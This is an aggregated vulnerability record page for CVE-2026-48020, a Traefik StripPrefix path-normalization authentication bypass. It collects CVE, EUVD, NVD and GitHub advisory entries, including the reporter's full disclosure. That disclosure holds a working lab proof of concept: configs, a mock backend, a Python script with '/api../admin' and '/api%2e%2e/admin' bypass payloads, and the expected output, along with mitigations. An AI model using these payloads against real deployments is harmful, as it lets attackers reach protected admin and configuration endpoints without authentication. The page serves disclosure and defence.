Traefik StripPrefix Route-Level Auth Bypass via Path Normalization
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cve-program · CVE-2026-48020
PublishedTraefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.
- Source published
- 23 Jun 2026 19:10:31 UTC
- Source modified
- 2 Sep 2026 12:04:29 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 7.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
euvd · EUVD-2026-38574
PublishedTraefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jun 23, 2026, 7:10:31 PM
dateUpdated: Sep 2, 2026, 12:04:29 PM
3 related source bulletins · separate from aliases
RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.
CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838
openSUSE-SU-2026:11047-1: traefik-3.7.5-1.1 on GA media
CVE-2026-48020 · CVE-2026-48491 · CVE-2026-53622
openSUSE-SU-2026:11045-1: traefik2-2.11.50-1.1 on GA media
CVE-2026-48020
- Source published
- Jun 23, 2026, 7:10:31 PM (timezone not stated)
- Source modified
- Sep 2, 2026, 12:04:29 PM (timezone not stated)
- Saved here
- 19 Nov 2026 18:55:20 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
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EUVD CVSS 4.0 · 7.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
nvd · CVE-2026-48020
PublishedTraefik is an HTTP reverse proxy and load balancer. Prior to 2.11.48, 3.6.19, and 3.7.3, there is a high severity vulnerability in Traefik's StripPrefix middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a PathPrefix rule and applies the StripPrefix middleware, a request path containing .. or its percent-encoded form %2e%2e can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. This vulnerability is fixed in 2.11.48, 3.6.19, and 3.7.3.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-288 · CWE-22
Original publisher date fields
published: 2026-06-23T20:16:47.993
lastModified: 2026-09-02T13:17:58.467
1 source CPE criteria · context only
- cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 23 Jun 2026 20:16:47 UTC
- Source modified
- 2 Sep 2026 13:17:58 UTC
- Saved here
- 25 Oct 2026 12:17:26 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · [email protected] · Secondary · 7.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Primary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
osv · GHSA-xf64-8mw2-4gr2
Published## Summary There is a high severity vulnerability in Traefik's `StripPrefix` middleware that allows an unauthenticated attacker to bypass route-level authentication and authorization. When a public router matches on a `PathPrefix` rule and applies the `StripPrefix` middleware, a request path containing `..` or its percent-encoded form `%2e%2e` can match the public route at routing time and then, after the prefix is stripped and the path is normalized, resolve to a path served by a separate, authenticated router. As a result, an attacker can reach protected backend paths — such as admin or internal configuration endpoints — without satisfying the authentication middleware attached to the protected router. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.48 - https://github.com/traefik/traefik/releases/tag/v3.6.19 - https://github.com/traefik/traefik/releases/tag/v3.7.3 ## For more information If there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Traefik StripPrefix Route-Level Auth Bypass via Path Normalization (/api../) ## Summary A route-level authentication/authorization bypas was found in Traefik when `PathPrefix`-based public routes are combined with `StripPrefix`. A request using `/api../` or `/api%2e%2e/` can avoid protected router rules at the routing stage, but after `StripPrefix`, the path is normalized and forwarded to the backend as a protected path such as `/admin` or `/internal/config`. This is reproducible on patched/latest Traefik versions and appears related to, but distinct from, previously disclosed `StripPrefixRegex` / path-normalization issues. This report specifically affects `StripPrefix`. ## Affected Versions Tested | Image | Observed Version | Result | |---|---|---| | `traefik:v2.11` | `v2.11.46` | Affected | | `traefik:v3.6` | `v3.6.17` | Affected | | `traefik:latest` | `v3.7.1` | Affected | ### Lab Contrast | Image | Result | |---|---| | `traefik:v2.10` | Not reproduced in lab | | `traefik:v3.5` | Not reproduced in lab | ## Vulnerable Configuration Pattern The issue appears when: - a broad public route strips a prefix - while a separate protected route is intended to guard internal/admin paths ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: - web middlewares: - strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: - web middlewares: - auth service: backend middlewares: strip-api: stripPrefix: prefixes: - /api auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: - url: http://backend:9000 ``` ## Observed Behavior ### Direct Protected Paths These are correctly blocked. | Request | Expected | Observed | |---|---|---| | `GET /admin` | Blocked | `401` | | `GET /internal/config` | Blocked | `401` | ### Expected Public Exclusions These do not expose protected backend paths. | Request | Expected | Observed | |---|---|---| | `GET /api/admin` | Not routed to protected backend path | `404` | | `GET /api/internal/config` | Not routed to protected backend path | `404` | ### Bypass Payloads These reach protected backend paths. | Request | Observed Status | Backend Receives | |---|---|---| | `GET /api../admin` | `200` | `/admin` | | `GET /api%2e%2e/admin` | `200` | `/admin` | | `GET /api../internal/config` | `200` | `/internal/config` | | `GET /api%2e%2e/internal/config` | `200` | `/internal/config` | ## Minimal PoC ### docker-compose.yml ```yaml services: traefik: image: traefik:v3.7 command: - --providers.file.filename=/etc/traefik/dynamic.yml - --entrypoints.web.address=:8080 - --accesslog=true ports: - "127.0.0.1:18080:8080" volumes: - ./dynamic.yml:/etc/traefik/dynamic.yml:ro depends_on: - backend backend: image: python:3.12-slim working_dir: /app command: python backend.py volumes: - ./backend.py:/app/backend.py:ro expose: - "9000" ``` ### dynamic.yml ```yaml http: routers: public-api: rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)' entryPoints: - web middlewares: - strip-api service: backend protected: rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)' entryPoints: - web middlewares: - auth service: backend middlewares: strip-api: stripPrefix: prefixes: - /api auth: basicAuth: users: - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/' services: backend: loadBalancer: servers: - url: http://backend:9000 ``` ### backend.py ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def log_message(self, fmt, *args): return def _json(self, status, obj): body = json.dumps(obj).encode() self.send_response(status) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def do_GET(self): if self.path == "/admin": self._json(200, { "seen_path": self.path, "secret": "ADMIN_SECRET_REACHED" }) elif self.path == "/internal/config": self._json(200, { "seen_path": self.path, "secret": "TRAEFIK_LAB_INTERNAL_CONFIG" }) elif self.path == "/admin/exec": self._json(200, { "seen_path": self.path, "rce_chain_marker": True, "note": "protected execution endpoint reached" }) else: self._json(404, { "seen_path": self.path, "secret": None }) HTTPServer(("0.0.0.0", 9000), Handler).serve_forever() ``` ### poc.py ```python #!/usr/bin/env python3 from urllib.request import Request, urlopen from urllib.error import HTTPError BASE = "http://127.0.0.1:18080" PATHS = [ "/admin", "/internal/config", "/api/admin", "/api/internal/config", "/api../admin", "/api%2e%2e/admin", "/api../internal/config", "/api%2e%2e/internal/config", "/admin/exec", "/api/admin/exec", "/api../admin/exec", "/api%2e%2e/admin/exec", ] for path in PATHS: req = Request(BASE + path) try: with urlopen(req, timeout=5) as r: status = r.status body = r.read().decode(errors="replace") except HTTPError as e: status = e.code body = e.read().decode(errors="replace") print(f"{path:28} {status} {body[:180]}") ``` ### Run ```bash docker compose up -d python3 poc.py ``` ## Expected Vulnerable Output ```text /admin 401 /internal/config 401 /api/admin 404 /api/internal/config 404 /api../admin 200 backend seen_path=/admin /api%2e%2e/admin 200 backend seen_path=/admin /api../internal/config 200 backend seen_path=/internal/config /api%2e%2e/internal/config 200 backend seen_path=/internal/config /api../admin/exec 200 protected execution endpoint reached /api%2e%2e/admin/exec 200 protected execution endpoint reached ``` ## Root Cause Hypothesis The vulnerable behavior appears to be caused by path normalization after prefix stripping. ```text Incoming path: /api../admin After StripPrefix("/api"): /../admin After JoinPath(): /admin ``` The request does not match the protected `/admin` router at the routing stage, but the backend receives `/admin` after normalization. The relevant behavior appears related to `StripPrefix` calling `req.URL.JoinPath()` after removing the prefix in newer versions. ## Security Impact An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router. Potential impact includes: - Access to protected admin paths - Access to internal configuration endpoints - Exposure of secrets returned by internal backends - Access to protected backend management functionality - Conditional RCE if the protected backend exposes an execution primitive In the local lab, a protected `/admin/exec` endpoint was reachable through `/api../admin/exec`, demonstrating a conditional RCE chain when the backend contains an execution primitive. This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality. ## Suggested Severity Suggested CVSS is **10.0 Critical** with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality. ```text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N ``` Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router. If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as **9.1 Critical** with Scope Unchanged: ```text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N ``` The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage. ## Weakness Primary CWE: - `CWE-863: Incorrect Authorization` Related weakness candidates: - `CWE-180: Incorrect Behavior Order: Validate Before Canonicalize` - `CWE-22: Improper Limitation of a Pathname to a Restricted Directory` ## Mitigation Verified in Lab The bypass was blocked when using a stricter prefix boundary: ```text PathRegexp(`^/api(/|$)`) ``` or: ```text PathPrefix(`/api/`) with StripPrefix(`/api/`) ``` ## Relation to Existing Advisories This appears related to the same vulnerability family as prior Traefik path normalization / `StripPrefixRegex` bypass advisories, but it affects `StripPrefix` and remains reproducible on patched/latest versions tested above. This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate. ## Reporter WonYun / kyun0 </details>
- Source published
- 11 Jun 2026 13:26:57 UTC
- Source modified
- 2 Sep 2026 15:45:32 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Publisher rating · HIGH
osv · GO-2026-5752
PublishedTraefik has a StripPrefix Route-Level Auth Bypass via Path Normalization in github.com/traefik/traefik
- Source published
- 25 Jun 2026 22:34:41 UTC
- Source modified
- 25 Jun 2026 23:01:41 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
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